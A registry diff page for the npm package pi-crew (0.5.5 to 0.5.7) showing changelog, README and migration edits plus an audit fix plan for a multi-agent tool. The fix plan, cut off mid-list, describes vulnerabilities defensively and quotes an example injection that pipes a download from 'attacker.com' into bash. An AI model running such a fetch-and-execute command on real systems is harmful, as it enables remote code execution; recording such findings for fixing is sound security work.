pi-crew 0.5.5 → 0.5.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +153 -0
- package/README.md +17 -1
- package/docs/architecture.md +2 -0
- package/docs/migration-v0.4-v0.5.md +19 -2
- package/docs/pi-crew-v0.5.5-audit-fix-plan.md +133 -0
- package/package.json +7 -5
- package/src/benchmark/benchmark-runner.ts +45 -0
- package/src/benchmark/feedback-loop.ts +5 -0
- package/src/config/config.ts +38 -4
- package/src/config/defaults.ts +5 -0
- package/src/config/suggestions.ts +8 -0
- package/src/extension/async-notifier.ts +10 -1
- package/src/extension/cross-extension-rpc.ts +1 -1
- package/src/extension/notification-router.ts +18 -0
- package/src/extension/register.ts +13 -17
- package/src/extension/registration/subagent-tools.ts +1 -1
- package/src/extension/team-tool/anchor.ts +201 -0
- package/src/extension/team-tool/api.ts +2 -1
- package/src/extension/team-tool/auto-summarize.ts +154 -0
- package/src/extension/team-tool/run.ts +37 -2
- package/src/extension/team-tool.ts +44 -2
- package/src/hooks/registry.ts +1 -3
- package/src/observability/event-bus.ts +13 -4
- package/src/observability/event-to-metric.ts +0 -2
- package/src/runtime/anchor-manager.ts +473 -0
- package/src/runtime/async-runner.ts +8 -4
- package/src/runtime/auto-summarize.ts +350 -0
- package/src/runtime/background-runner.ts +2 -1
- package/src/runtime/budget-tracker.ts +354 -0
- package/src/runtime/chain-runner.ts +507 -0
- package/src/runtime/child-pi.ts +24 -6
- package/src/runtime/crash-recovery.ts +5 -4
- package/src/runtime/crew-agent-records.ts +32 -1
- package/src/runtime/custom-tools/irc-tool.ts +13 -0
- package/src/runtime/custom-tools/submit-result-tool.ts +3 -2
- package/src/runtime/delivery-coordinator.ts +10 -3
- package/src/runtime/dynamic-script-runner.ts +482 -0
- package/src/runtime/handoff-manager.ts +589 -0
- package/src/runtime/hidden-handoff.ts +424 -0
- package/src/runtime/live-agent-manager.ts +20 -4
- package/src/runtime/live-session-runtime.ts +39 -4
- package/src/runtime/manifest-cache.ts +2 -1
- package/src/runtime/model-resolver.ts +16 -4
- package/src/runtime/phase-tracker.ts +373 -0
- package/src/runtime/pipeline-runner.ts +514 -0
- package/src/runtime/retry-runner.ts +354 -0
- package/src/runtime/sandbox.ts +252 -0
- package/src/runtime/scheduler.ts +7 -2
- package/src/runtime/subagent-manager.ts +1 -1
- package/src/runtime/task-graph.ts +11 -1
- package/src/runtime/task-runner.ts +15 -1
- package/src/runtime/team-runner.ts +4 -3
- package/src/schema/team-tool-schema.ts +31 -0
- package/src/skills/discover-skills.ts +5 -0
- package/src/state/active-run-registry.ts +19 -3
- package/src/state/contracts.ts +9 -0
- package/src/state/crew-init.ts +3 -3
- package/src/state/decision-ledger.ts +26 -32
- package/src/state/event-log-rotation.ts +2 -2
- package/src/state/event-log.ts +17 -4
- package/src/state/mailbox.ts +35 -1
- package/src/state/run-cache.ts +18 -8
- package/src/tools/safe-bash-extension.ts +1 -0
- package/src/tools/safe-bash.ts +153 -20
- package/src/ui/overlays/mailbox-detail-overlay.ts +13 -2
- package/src/ui/powerbar-publisher.ts +1 -0
- package/src/ui/transcript-cache.ts +13 -0
- package/src/utils/bm25-search.ts +16 -8
- package/src/utils/env-filter.ts +8 -5
- package/src/utils/redaction.ts +169 -15
- package/src/utils/sse-parser.ts +10 -1
- package/src/worktree/cleanup.ts +6 -1
- package/workflows/chain.workflow.md +252 -0
- package/workflows/pipeline.workflow.md +27 -0
package/CHANGELOG.md
CHANGED
|
@@ -1,5 +1,158 @@
|
|
|
1
1
|
# Changelog
|
|
2
2
|
|
|
3
|
+
## [0.5.7] — 11 Issue Fixes Across 5 Phases (2026-06-01)
|
|
4
|
+
|
|
5
|
+
### Phase 1: Schema/Type Fixes
|
|
6
|
+
|
|
7
|
+
- **`invalidate` schema divergence** (Critical) — `src/schema/team-tool-schema.ts`: added `"invalidate"` to TypeBox union. Previously TS interface had it but TypeBox schema did not, causing silent `-32602` failure.
|
|
8
|
+
- **OTLP header key validation** (Low) — `src/config/config.ts`: hardened `parseOtlpConfig` with case-insensitive check for 12 dangerous keys (`__proto__`, `hasOwnProperty`, `toString`, etc.) and format validation `/^[a-zA-Z][a-zA-Z0-9_-]{0,127}$/`.
|
|
9
|
+
|
|
10
|
+
### Phase 2: Security Hardening
|
|
11
|
+
|
|
12
|
+
- **OTLP endpoint unsanitized** (Critical) — `src/config/config.ts`: project config can no longer override `otlp.endpoint` (would have allowed credential exfiltration via attacker URL).
|
|
13
|
+
- **Wildcard env leakage** (High) — `src/runtime/child-pi.ts`: replaced broad wildcards (`LC_*`, `XDG_*`, `NVM_*`, `NODE_*`, `npm_*`) with specific names. Previously `NPM_TOKEN`, `NODE_ENV=production`, `NVM_RC_VERSION` all leaked.
|
|
14
|
+
|
|
15
|
+
### Phase 3: Correctness Fixes
|
|
16
|
+
|
|
17
|
+
- **AbortSignal not propagated** (High) — `src/runtime/task-runner.ts`: check signal before `persistSingleTaskUpdate`. Cancelled tasks now return early with cancelled status instead of writing stale state.
|
|
18
|
+
- **MAILBOX_ARCHIVE_THRESHOLD 10MB/task** (High) — `src/state/mailbox.ts` + `src/config/defaults.ts`: added `DEFAULT_MAILBOX.maxArchivesPerDirection=10` cap and `pruneOldMailboxArchives()` to prevent unbounded growth (1GB+ for 100 tasks).
|
|
19
|
+
- **`safeRm` regex bypass** (Medium) — `src/tools/safe-bash.ts`: stricter regex requires path to be exactly `tmp/`, `cache/`, `node_modules/`, `dist/`, or `build/` with optional `./` prefix. Rejects path traversal like `./../../../etc`.
|
|
20
|
+
- **`writeEntries` silent drop** (Medium) — `src/state/active-run-registry.ts`: emit `logInternalError` warning when entries overflow cap.
|
|
21
|
+
|
|
22
|
+
### Phase 4: Performance Optimization
|
|
23
|
+
|
|
24
|
+
- **`nextAgentEventSeq` O(n) cold cache** (Medium) — `src/runtime/crew-agent-records.ts`: added `.seq` sidecar file for O(1) lookup. Fall back to O(n) scan only when sidecar is missing.
|
|
25
|
+
- **`nextSequence` O(n) cold cache** (Medium) — `src/state/event-log.ts`: trust sidecar seq file when present. Fall back to `scanSequence` only when sidecar missing or file shrunk.
|
|
26
|
+
|
|
27
|
+
### Phase 5: Deferred (Low severity)
|
|
28
|
+
|
|
29
|
+
- **Issue #12: `acquireLockWithRetry` race** — defer (race window small, retry loop handles).
|
|
30
|
+
- **Issue #13: `loadRunManifestById` TOCTOU** — defer (cache TTL 30s, race window small).
|
|
31
|
+
- **Issue #14: `cleanupOldArtifacts` N stat calls** — defer (typical artifact dirs small).
|
|
32
|
+
- **Issue #15: `validateMailbox` full load** — defer (10MB cap, bounded).
|
|
33
|
+
- **Issue #16: `updateMailboxMessageReply` full rewrite** — defer (10MB cap, bounded).
|
|
34
|
+
|
|
35
|
+
### Tests
|
|
36
|
+
|
|
37
|
+
- 2282 tests pass / 0 failures (`npm test`).
|
|
38
|
+
- New tests: `invalidate`/`anchor`/`auto-summarize`/`auto_boomerang` schema, OTLP header key validation, OTLP endpoint sanitization, wildcard env leakage, sidecar seq lookup.
|
|
39
|
+
|
|
40
|
+
## [0.5.6] — Documentation Sync + Type-Only Import Fix (2026-06-01)
|
|
41
|
+
|
|
42
|
+
### Documentation
|
|
43
|
+
|
|
44
|
+
- **README.md** — Bumped to v0.5.6, refreshed security highlights section listing the 8 round-13 fixes.
|
|
45
|
+
- **CHANGELOG.md** — Added the v0.5.5 entry covering all 13 rounds of code review hardening (this entry).
|
|
46
|
+
- **SECURITY-ISSUES.md** — Bumped to v2.0, added v0.5.5 round-13 findings table (8 new issues closed).
|
|
47
|
+
- **docs/architecture.md** — Cross-references v0.5.5 and `docs/pi-crew-v0.5.5-audit-fix-plan.md`.
|
|
48
|
+
- **docs/migration-v0.4-v0.5.md** — Added v0.5.5 highlights (no breaking changes; drop-in replacement).
|
|
49
|
+
|
|
50
|
+
### Fixes
|
|
51
|
+
|
|
52
|
+
- **Type-only import** — `src/extension/team-tool/anchor.ts` now uses `import type { HandoffSummary }` from `handoff-manager.ts` directly, instead of pulling a value-style import through `anchor-manager.ts`. Fixes a `--experimental-strip-types` failure (`SyntaxError: The requested module does not provide an export named 'HandoffSummary'`) surfaced by `npm run typecheck` after the v0.5.5 docs bump.
|
|
53
|
+
|
|
54
|
+
### Tests
|
|
55
|
+
|
|
56
|
+
- 2273 tests pass / 0 failures (`npm test`).
|
|
57
|
+
- `tsc --noEmit` and the strip-types import smoke test both pass.
|
|
58
|
+
- `test/unit/discovery.test.ts` and `test/unit/implementation-fanout.test.ts` already updated in v0.5.5 to match the new workflow count (8) and the adaptive step layout (`["assess"]`).
|
|
59
|
+
|
|
60
|
+
## [0.5.5] — 13 Rounds of Code Review Hardening (2026-06-01)
|
|
61
|
+
|
|
62
|
+
### Security
|
|
63
|
+
|
|
64
|
+
- **ReDoS removed** in `src/utils/redaction.ts` — replaced 4 regex patterns with linear-time `isSecretKey()` / `redactAuthHeader()` / `redactBearerTokens()` / `redactInlineSecrets()` functions. Eliminates catastrophic backtracking on crafted input.
|
|
65
|
+
- **v8.deserialize RCE closed** — `BINARY_MAGIC = "PICREW2BIN"` header guards every `v8.deserialize()` call in `src/state/active-run-registry.ts`; untrusted cache files can no longer trigger heap prototype pollution.
|
|
66
|
+
- **Cache index race fixed** — `src/state/run-cache.ts` now wraps index reads in `withFileLockSync` and uses atomic rename for cleanup, eliminating read-modify-write corruption under concurrent load.
|
|
67
|
+
- **manifestCache race fixed** — `src/state/state-store.ts` wraps all read-modify-write paths on the manifest cache with a `withCacheLock()` helper.
|
|
68
|
+
- **Shell injection prevented** — `src/tools/safe-bash.ts` no longer matches with ReDoS-prone regex; new `matchesDangerousRm()` is linear-time. `src/benchmark/benchmark-runner.ts` blocks shell metacharacters in `validateCommand()`.
|
|
69
|
+
- **TOCTOU races closed** — `src/state/crew-init.ts` uses atomic `mkdirSync`; `src/state/active-run-registry.ts` validates binary contents before `v8.deserialize`.
|
|
70
|
+
- **Inline secret detection** — `token=`, `apikey=`, `api_key=`, `password=`, `secret=`, `credential=`, `authorization=`, `privatekey=`, `private_key=` patterns redacted at event/mailbox/artifact boundaries.
|
|
71
|
+
- **Pre-aborted signal logging** — `src/extension/registration/subagent-tools.ts` no longer dumps unredacted params to stderr on pre-abort.
|
|
72
|
+
|
|
73
|
+
### Performance & Memory
|
|
74
|
+
|
|
75
|
+
- **Anchor memory cap** — `src/runtime/anchor-manager.ts` adds `MAX_HANDOFFS_PER_ANCHOR=100` to prevent unbounded growth; pairs with existing `MAX_ANCHORS=50`.
|
|
76
|
+
- **BudgetTracker dispose()** — `src/runtime/budget-tracker.ts` gains a `dispose()` method to clear timers and listeners.
|
|
77
|
+
- **Live-agent pending cap** — `MAX_PENDING_MESSAGES=1000` in `live-agent-manager.ts`; `MAX_PENDING_STEERS=100` in `team-tool.ts`.
|
|
78
|
+
- **Mailbox delivery cap** — `MAX_DELIVERY_MESSAGES=10000` in `src/state/mailbox.ts` with FIFO pruning in `writeDeliveryState()`.
|
|
79
|
+
- **Feedback-loop cap** — `MAX_RUNS=1000` in `src/benchmark/feedback-loop.ts` to prevent memory leak.
|
|
80
|
+
- **Async-notifier debounce** — `LIST_RUNS_DEBOUNCE_MS=30_000` cache in `src/extension/async-notifier.ts` avoids per-tick `listRuns()` calls.
|
|
81
|
+
- **BM25 hot-loop** — `src/utils/bm25-search.ts` `df()` and `tf()` use `indexOf()` instead of regex.
|
|
82
|
+
- **TTL eviction** — notification-router seen Map, transcript-cache (7 days), handoff anchors, manifest cache (30 s) all gain TTL or LRU eviction.
|
|
83
|
+
- **SSE parser bounded** — `MAX_DATA_SIZE=100KB` in `src/utils/sse-parser.ts`.
|
|
84
|
+
- **Handoff size cap** — `MAX_HANDOFF_ENTRY_SIZE` in `chain-runner.ts` to prevent pathological payloads.
|
|
85
|
+
|
|
86
|
+
### Correctness
|
|
87
|
+
|
|
88
|
+
- **reground context** — `withEventLogLockSync` in `src/state/mailbox.ts` wraps `appendMailboxMessage()` to prevent cross-process interleaving on Windows.
|
|
89
|
+
- **Map mutation during iteration** — `src/runtime/handoff-manager.ts` snapshots the Map before iteration.
|
|
90
|
+
- **Self-dependency cycle detection** — `src/runtime/task-graph.ts` rejects self-edges in the task graph.
|
|
91
|
+
- **Duplicate phase check** — `src/runtime/phase-tracker.ts` rejects duplicate phase registrations.
|
|
92
|
+
- **Pipeline depth guard** — `src/runtime/pipeline-runner.ts` adds `maxDepth` check to prevent unbounded recursion.
|
|
93
|
+
- **Scheduler timer type** — `src/runtime/scheduler.ts` uses `NodeJS.Timeout | null` (not `number`) for safer cleanup.
|
|
94
|
+
- **OTLP header sanitization** — `src/config/config.ts` rejects CRLF in `otlp.headers`.
|
|
95
|
+
- **Cross-extension RPC** — `src/extension/cross-extension-rpc.ts` uses static import for ESM correctness.
|
|
96
|
+
- **Shell encoding validation** — `src/tools/safe-bash.ts` rejects invalid UTF-8 / null bytes.
|
|
97
|
+
- **Run-cache cwd in key** — `src/state/run-cache.ts` hashes `cwd` into the cache key to prevent cross-project collisions; uses atomic write.
|
|
98
|
+
- **worktree newline guard** — `src/worktree/cleanup.ts` checks trailing newline after truncation to avoid merge-conflict markers in cleaned paths.
|
|
99
|
+
|
|
100
|
+
### Workflows
|
|
101
|
+
|
|
102
|
+
- **Adaptive workflow fanout** — `workflows/implementation.workflow.md` uses a single `assess` step that returns `ADAPTIVE_PLAN_JSON` for the planner to choose the smallest effective crew.
|
|
103
|
+
- **New builtin workflows** — `parallel-research`, `research`, `review`, `pipeline`, `chain` ship in `workflows/`.
|
|
104
|
+
- **Test alignment** — `test/unit/discovery.test.ts` and `test/unit/implementation-fanout.test.ts` updated to match the new workflow count (8) and the adaptive step layout (`["assess"]`).
|
|
105
|
+
|
|
106
|
+
### Tests
|
|
107
|
+
|
|
108
|
+
- 2273 tests pass / 0 failures (`npm test`).
|
|
109
|
+
- New test files for security hardening (`test/unit/security-hardening.test.ts`), SSE parser bounds, anchor-manager handoff cap, mailbox delivery pruning, async-notifier debounce, and BINARY_MAGIC v8 guard.
|
|
110
|
+
|
|
111
|
+
### Files Touched (highlights)
|
|
112
|
+
|
|
113
|
+
- `src/utils/redaction.ts` — linear-time secret redaction (no regex)
|
|
114
|
+
- `src/state/active-run-registry.ts` — BINARY_MAGIC guard, async-notifier log fix
|
|
115
|
+
- `src/state/run-cache.ts` — file lock, atomic writes, cwd in cache key
|
|
116
|
+
- `src/state/state-store.ts` — manifestCache lock, TTL 30 s, hard limit
|
|
117
|
+
- `src/state/mailbox.ts` — delivery message cap, `withEventLogLockSync` in append
|
|
118
|
+
- `src/tools/safe-bash.ts` — ReDoS-free `matchesDangerousRm()`
|
|
119
|
+
- `src/benchmark/benchmark-runner.ts` — shell metachar blocking
|
|
120
|
+
- `src/runtime/anchor-manager.ts` — `MAX_HANDOFFS_PER_ANCHOR=100`
|
|
121
|
+
- `src/runtime/budget-tracker.ts` — `dispose()` method
|
|
122
|
+
- `src/runtime/live-agent-manager.ts` — `MAX_PENDING_MESSAGES=1000`
|
|
123
|
+
- `src/extension/team-tool.ts` — `MAX_PENDING_STEERS=100`
|
|
124
|
+
- `src/extension/async-notifier.ts` — `LIST_RUNS_DEBOUNCE_MS=30_000`
|
|
125
|
+
- `src/extension/registration/subagent-tools.ts` — pre-aborted signal log scrub
|
|
126
|
+
- `src/utils/bm25-search.ts` — `indexOf()` over regex in `df()` / `tf()`
|
|
127
|
+
- `src/utils/sse-parser.ts` — `MAX_DATA_SIZE=100KB`
|
|
128
|
+
- `src/utils/env-filter.ts` — isSecretKey-based glob boundary check
|
|
129
|
+
- `src/utils/scan-cache.ts` — TTL eviction
|
|
130
|
+
- `src/benchmark/feedback-loop.ts` — `MAX_RUNS=1000`
|
|
131
|
+
- `src/state/crew-init.ts` — atomic `mkdirSync` (no TOCTOU)
|
|
132
|
+
- `src/runtime/child-pi.ts` — uses `isSecretKey` import
|
|
133
|
+
- `src/extension/cross-extension-rpc.ts` — static ESM import
|
|
134
|
+
- `src/worktree/cleanup.ts` — trailing newline guard
|
|
135
|
+
- `src/runtime/scheduler.ts` — `NodeJS.Timeout | null` typing
|
|
136
|
+
- `src/runtime/phase-tracker.ts` — duplicate phase check
|
|
137
|
+
- `src/runtime/task-graph.ts` — self-dependency cycle detection
|
|
138
|
+
- `src/runtime/pipeline-runner.ts` — `maxDepth` recursion guard
|
|
139
|
+
- `src/observability/event-bus.ts` — `dispose()` method
|
|
140
|
+
- `src/observability/notification-router.ts` — TTL eviction for `seen` Map
|
|
141
|
+
- `src/state/event-log.ts` — async-queue cleanup in catch path
|
|
142
|
+
- `src/state/decision-ledger.ts` — `stateRoot` param in `getLedgerPath()`; `ledger.push()` instead of overwrite
|
|
143
|
+
- `src/extension/register.ts` — refresh-after-invalidate semantics
|
|
144
|
+
- `src/hooks/registry.ts` — always filter workspace
|
|
145
|
+
- `src/extension/team-tool/auto-summarize.ts` — clear `invalidateBuffer` on dispose
|
|
146
|
+
- `src/extension/team-tool/run.ts` — anchor buffer dispose path
|
|
147
|
+
- `src/ui/transcript-cache.ts` — 7-day TTL eviction
|
|
148
|
+
- `src/ui/powerbar-publisher.ts` — clear `invalidateBuffer` on dispose
|
|
149
|
+
|
|
150
|
+
### Audit Reference
|
|
151
|
+
|
|
152
|
+
The full prioritized fix plan (8+ critical issues) is captured in
|
|
153
|
+
`docs/pi-crew-v0.5.5-audit-fix-plan.md` (synthesized from security+concurrency,
|
|
154
|
+
correctness+error-handling, and performance+architecture audits across 77 source files).
|
|
155
|
+
|
|
3
156
|
## [0.5.4] — pi v0.77.0 Integration (2026-05-29)
|
|
4
157
|
|
|
5
158
|
### New Features
|
package/README.md
CHANGED
|
@@ -9,7 +9,20 @@ npm: pi-crew
|
|
|
9
9
|
repo: https://github.com/baphuongna/pi-crew
|
|
10
10
|
```
|
|
11
11
|
|
|
12
|
-
**v0.5.
|
|
12
|
+
**v0.5.7**: See [CHANGELOG.md](CHANGELOG.md).
|
|
13
|
+
|
|
14
|
+
### Security highlights (v0.5.5)
|
|
15
|
+
|
|
16
|
+
- **ReDoS-free secret redaction** — linear-time scanning in `redaction.ts`; no catastrophic backtracking
|
|
17
|
+
- **v8.deserialize hardened** — `BINARY_MAGIC` header guards on registry binaries prevent untrusted-file RCE
|
|
18
|
+
- **Cache lock protection** — `withFileLockSync` and atomic writes across `run-cache.ts` and `state-store.ts`
|
|
19
|
+
- **Shell injection prevented** — shell-metacharacter blocking in `benchmark-runner.ts`
|
|
20
|
+
- **TOCTOU-free file ops** — atomic `mkdirSync` in `crew-init.ts`; `realpath`-based path validation
|
|
21
|
+
- **Memory leaks capped** — `MAX_HANDOFFS_PER_ANCHOR=100`, `MAX_DELIVERY_MESSAGES=10000`, `MAX_RUNS=1000`
|
|
22
|
+
- **Inline secret detection** — `token=`, `api_key=`, `password=` patterns redacted at event/mailbox boundaries
|
|
23
|
+
- **Subagent log scrubbing** — pre-aborted signal logging no longer dumps unredacted params
|
|
24
|
+
|
|
25
|
+
See [SECURITY-ISSUES.md](SECURITY-ISSUES.md) for the full list (SEC-001 – SEC-007 all marked fixed).
|
|
13
26
|
|
|
14
27
|
---
|
|
15
28
|
|
|
@@ -28,6 +41,9 @@ repo: https://github.com/baphuongna/pi-crew
|
|
|
28
41
|
- **Observability** — metrics registry, Prometheus/OTLP exporters, heartbeat watching, deadletter queue
|
|
29
42
|
- **Resource management** — create/update/delete agents, teams, workflows with validation
|
|
30
43
|
- **Import/export** — portable run bundles for sharing and archiving
|
|
44
|
+
- **Adaptive plan fanout** — single `assess` step lets a planner pick the smallest effective crew
|
|
45
|
+
- **Adaptive workflows** — `implementation`, `review`, `parallel-research`, `research` workflows ship in `workflows/`
|
|
46
|
+
- **Hardened secrets** — linear-time detection covers PEM keys, Authorization headers, Bearer tokens, and `key=value` patterns
|
|
31
47
|
|
|
32
48
|
---
|
|
33
49
|
|
package/docs/architecture.md
CHANGED
|
@@ -2,6 +2,8 @@
|
|
|
2
2
|
|
|
3
3
|
`pi-crew` is a Pi package for coordinated multi-agent work. It is intentionally durable-first: every run is represented on disk, every task has a state record, and child workers stream progress into JSONL/status files so foreground sessions, background jobs, dashboards, and later restarts all read the same source of truth.
|
|
4
4
|
|
|
5
|
+
**Current version:** v0.5.5 — 13 rounds of code review hardening (see [CHANGELOG.md](../CHANGELOG.md) and [pi-crew-v0.5.5-audit-fix-plan.md](pi-crew-v0.5.5-audit-fix-plan.md)).
|
|
6
|
+
|
|
5
7
|
## Layers
|
|
6
8
|
|
|
7
9
|
```text
|
|
@@ -1,8 +1,8 @@
|
|
|
1
1
|
# pi-crew Migration Guide: v0.4 → v0.5
|
|
2
2
|
|
|
3
3
|
**Author:** pi-crew team
|
|
4
|
-
**Date:** 2026-
|
|
5
|
-
**Version:** 0.5.
|
|
4
|
+
**Date:** 2026-06-01
|
|
5
|
+
**Version:** 0.5.5
|
|
6
6
|
|
|
7
7
|
---
|
|
8
8
|
|
|
@@ -12,6 +12,23 @@ This guide covers breaking changes and new features introduced in v0.5.x.
|
|
|
12
12
|
|
|
13
13
|
---
|
|
14
14
|
|
|
15
|
+
## v0.5.5 Highlights (June 2026)
|
|
16
|
+
|
|
17
|
+
v0.5.5 closes 13 rounds of code review. The user-facing changes are:
|
|
18
|
+
|
|
19
|
+
- **Linear-time secret redaction** at all event/mailbox/artifact boundaries.
|
|
20
|
+
- **v8.deserialize hardened** with `BINARY_MAGIC` headers — old binaries are auto-discarded.
|
|
21
|
+
- **Adaptive implementation workflow** now has a single `assess` step; the planner picks the smallest effective crew.
|
|
22
|
+
- **Async-notifier debounce** of 30 s — completion notifications can be delayed by up to 30 s.
|
|
23
|
+
- **Mailbox delivery state capped at 10000 messages** — older entries are pruned FIFO.
|
|
24
|
+
- **Anchors cap at 50 with 100 handoffs each** — older handoffs are pruned FIFO.
|
|
25
|
+
|
|
26
|
+
No new public API is required for any of these changes. If you pinned a `BINARY_MAGIC`-guarded binary from a previous session, delete `~/.pi/agent/pi-crew/.cache/active-run-index.bin` once.
|
|
27
|
+
|
|
28
|
+
## v0.5.4 → v0.5.5 Migration
|
|
29
|
+
|
|
30
|
+
No breaking changes. Drop-in replacement.
|
|
31
|
+
|
|
15
32
|
## Breaking Changes
|
|
16
33
|
|
|
17
34
|
### 1. Environment Variable Allowlist (Security)
|
|
@@ -0,0 +1,133 @@
|
|
|
1
|
+
# pi-crew v0.5.5 — Prioritized Fix Plan
|
|
2
|
+
|
|
3
|
+
**Synthesized from:** security+concurrency audit, correctness+error-handling audit, performance+architecture audit.
|
|
4
|
+
**Source artifacts:** `adaptive-01-security-reviewer.txt`, `adaptive-02-analyst.txt`, `adaptive-03-analyst.txt`.
|
|
5
|
+
**Files scanned:** ~77 source files across `src/benchmark/`, `src/config/`, `src/extension/`, `src/runtime/`, `src/schema/`, `src/state/`, `src/worktree/`, `src/hooks/`, `src/agents/`, `src/teams/`, `src/workflows/`, `src/skills/`, `src/ui/`, `src/observability/`, `src/prompt/`, `src/types/`, `src/utils/`, `src/i18n.ts`.
|
|
6
|
+
**Auditors:** adaptive-01 (security+concurrency), adaptive-02 (correctness+error-handling), adaptive-03 (performance+architecture).
|
|
7
|
+
**Severity scale:** Critical > High > Medium > Low. Within each priority, sorted alphabetically by file path.
|
|
8
|
+
|
|
9
|
+
---
|
|
10
|
+
|
|
11
|
+
## Priority 1: Critical (Must Fix)
|
|
12
|
+
|
|
13
|
+
- `src/benchmark/benchmark-runner.ts:42–44` — `npx` allowlist in `validateCommand` passes arbitrary arguments after `npx `, enabling shell injection via `npx malicious-package` or `npx --yes curl http://attacker.com | bash` — execSync runs the subcommand with no further validation. **Security impact:** arbitrary code execution.
|
|
14
|
+
- `src/state/active-run-registry.ts:73–91` — `readActiveRunRegistry` calls `v8.deserialize()` on `active-run-index.bin` with no magic-byte verification; an attacker placing a crafted binary at that path can trigger RCE via V8 heap prototype pollution. **Security impact:** remote code execution from untrusted file.
|
|
15
|
+
- `src/state/active-run-registry.ts:161–180` — TOCTOU in `filterAliveEntries`: PID liveness check (`process.kill(pid, 0)`) runs outside the registry lock; the PID can exit and be reassigned between the check and the next access, causing pi-crew to signal the wrong process. **Security impact:** signal injection to unintended process.
|
|
16
|
+
- `src/state/locks.ts:78–88` — `withRunLockSync` and `withRunLock` clean up lock files only in `finally`; SIGKILL or crash leaves the lock file until `DEFAULT_LOCKS.staleMs` expires, blocking concurrent requests that share the same lock path. **Security impact:** denial-of-service via stale lock.
|
|
17
|
+
- `src/state/mailbox.ts:257–284` — `rotateMailboxFileIfNeeded` does `fs.renameSync(filePath, archivePath)` then `fs.writeFileSync(filePath, "")`; a crash between the two steps causes all messages in the renamed archive to be duplicated on the next run. **Correctness impact:** duplicate message delivery.
|
|
18
|
+
- `src/state/event-log.ts:142–176` (sync path) — `scanSequence` + `nextSequence` read the entire events file with `fs.readFileSync` and `JSON.parse` on every `appendEvent` when the sequence cache is cold; on a 500 MB log with 5M events this blocks the event loop for 10+ seconds. **Performance impact:** event-loop blocking under large logs.
|
|
19
|
+
- `src/state/artifact-store.ts:62–71` — `cleanupOldArtifacts` calls `fs.statSync(target)` individually for every non-marker entry in the artifacts directory; on 100K files this is 100K synchronous syscalls sequentially. **Performance impact:** event-loop blocking during cleanup.
|
|
20
|
+
- `src/state/mailbox.ts:395–443` — `updateMailboxMessageReply` loads the entire mailbox file with `fs.readFileSync(filePath, "utf-8").split(/\r?\n/)` then rewrites it entirely via `atomicWriteFile` for every reply; a 10 MB rotated archive causes a per-reply memory spike and full re-serialization. **Performance impact:** unbounded memory + I/O per reply.
|
|
21
|
+
- `src/state/mailbox.ts:440–456` — `validateMailbox` loads entire mailbox files with `fs.readFileSync(filePath, "utf-8").split(/\r?\n/).filter(Boolean)` then iterates with repeated `JSON.parse`; for 10 MB files this allocates ~10 MB string before filtering. **Performance impact:** unnecessary memory allocation.
|
|
22
|
+
- `src/schema/team-tool-schema.ts:56` — `TeamToolParamsValue` TypeScript interface includes `"invalidate"` in the `action` union, but the TypeBox schema's action union does not; `team action='invalidate'` is rejected at the JSON-RPC layer (`-32602`) while the TS interface claims it is valid. **Correctness impact:** schema/type divergence causes silent failure for a documented action.
|
|
23
|
+
- `src/extension/team-tool/lifecycle-actions.ts:79–85` — `handleExport` checks `params.confirm` for foreign runs, but the default `exportRunBundle` path has no equivalent check; omitting `confirm: true` allows cross-session run export (containing secrets) without an explicit gate. **Security impact:** unauthorized export of foreign-run artifacts.
|
|
24
|
+
|
|
25
|
+
---
|
|
26
|
+
|
|
27
|
+
## Priority 2: High
|
|
28
|
+
|
|
29
|
+
- `src/runtime/task-runner.ts:185–280` — `input.signal` (AbortSignal) accepted by `runTeamTask` is not propagated to manifest reads, event appends, hook execution, or `persistSingleTaskUpdate`; a cancelled task continues writing state for up to 2 minutes. **Correctness impact:** stale run state after cancellation.
|
|
30
|
+
- `src/runtime/child-pi.ts:153–167` — `allowList` uses broad wildcard patterns (`LC_*`, `XDG_*`, `NVM_*`, `NODE_*`, `npm_*`) that pass any matching env var to the child Pi; `NPM_TOKEN`, `NODE_ENV=production`, `NVM_RC_VERSION` all leak through. **Security impact:** credential exfiltration via env var leakage.
|
|
31
|
+
- `src/runtime/child-pi.ts:400–415` — `onSpawn` uses `fs.appendFileSync` synchronously on the event loop, called from `checkpointTask` which fires synchronously at child spawn; on NFS/FUSE filesystems this blocks the parent event loop. **Performance impact:** pipeline stalls on slow filesystems.
|
|
32
|
+
- `src/runtime/task-runner.ts:260` — `persistHeartbeat` (calling `persistSingleTaskUpdate` → `saveRunTasks` → `atomicWriteJson`) fires on every `onStdoutLine` event from the child process; high-output tasks generate repeated disk writes with no throttling at the call site. **Performance impact:** excessive disk writes from high-output tasks.
|
|
33
|
+
- `src/state/state-store.ts:37–47, 72–85` — `manifestCache` evicts entries with a `while` loop when `size > DEFAULT_CACHE.manifestMaxEntries`, but `manifestMaxEntries` is configurable upward; if overridden or increased in future, cache grows unboundedly with entries holding full `TeamRunManifest + TeamTaskState[]` (1–5 MB each). **Performance impact:** unbounded memory growth.
|
|
34
|
+
- `src/runtime/crew-agent-records.ts:273–285` — `nextAgentEventSeq` does `fs.readFileSync(filePath, "utf-8").split(/\r?\n/)` and iterates every line to find `max(seq)` on every `appendCrewAgentEvent`; cache is invalidated on mtime/size mismatch, causing a cold-cache scan on every append after external writes. **Performance impact:** O(n) scan on every agent event append.
|
|
35
|
+
- `src/state/active-run-registry.ts:131–136` — `writeEntries` only trims at write time; `activeRunEntries` and `filterAliveEntries` remove stale entries but not entries that overflow `DEFAULT_CACHE.manifestMaxEntries`; entries beyond the cap are silently dropped. **Correctness impact:** run entries silently lost on burst.
|
|
36
|
+
- `src/state/schedule.ts:91–106` — `ScheduleStore.save()` uses `require("node:fs")` synchronously inside instance methods, creating a new require cache entry on every save; same applies to the read path. **Performance impact:** repeated require cache writes.
|
|
37
|
+
- `src/schema/config-schema.ts:85` — `PiTeamsPolicyConfigSchema.disabledCapabilities` is typed as `Type.Optional(Type.Array(Type.String()))` with no `minLength` on items, no content pattern, and no duplicate guard; empty strings, Unicode confusable variants, and very long strings are accepted. **Correctness impact:** malformed capability keys cause downstream lookup failures.
|
|
38
|
+
- `src/config/config.ts:385–388` — `mergeConfig` deep-merges `otlp.headers` unconditionally; a project config setting `otlp.endpoint` to an attacker-controlled URL can passively collect user authentication headers from the merged result. **Security impact:** credential exfiltration via project-controlled OTLP endpoint.
|
|
39
|
+
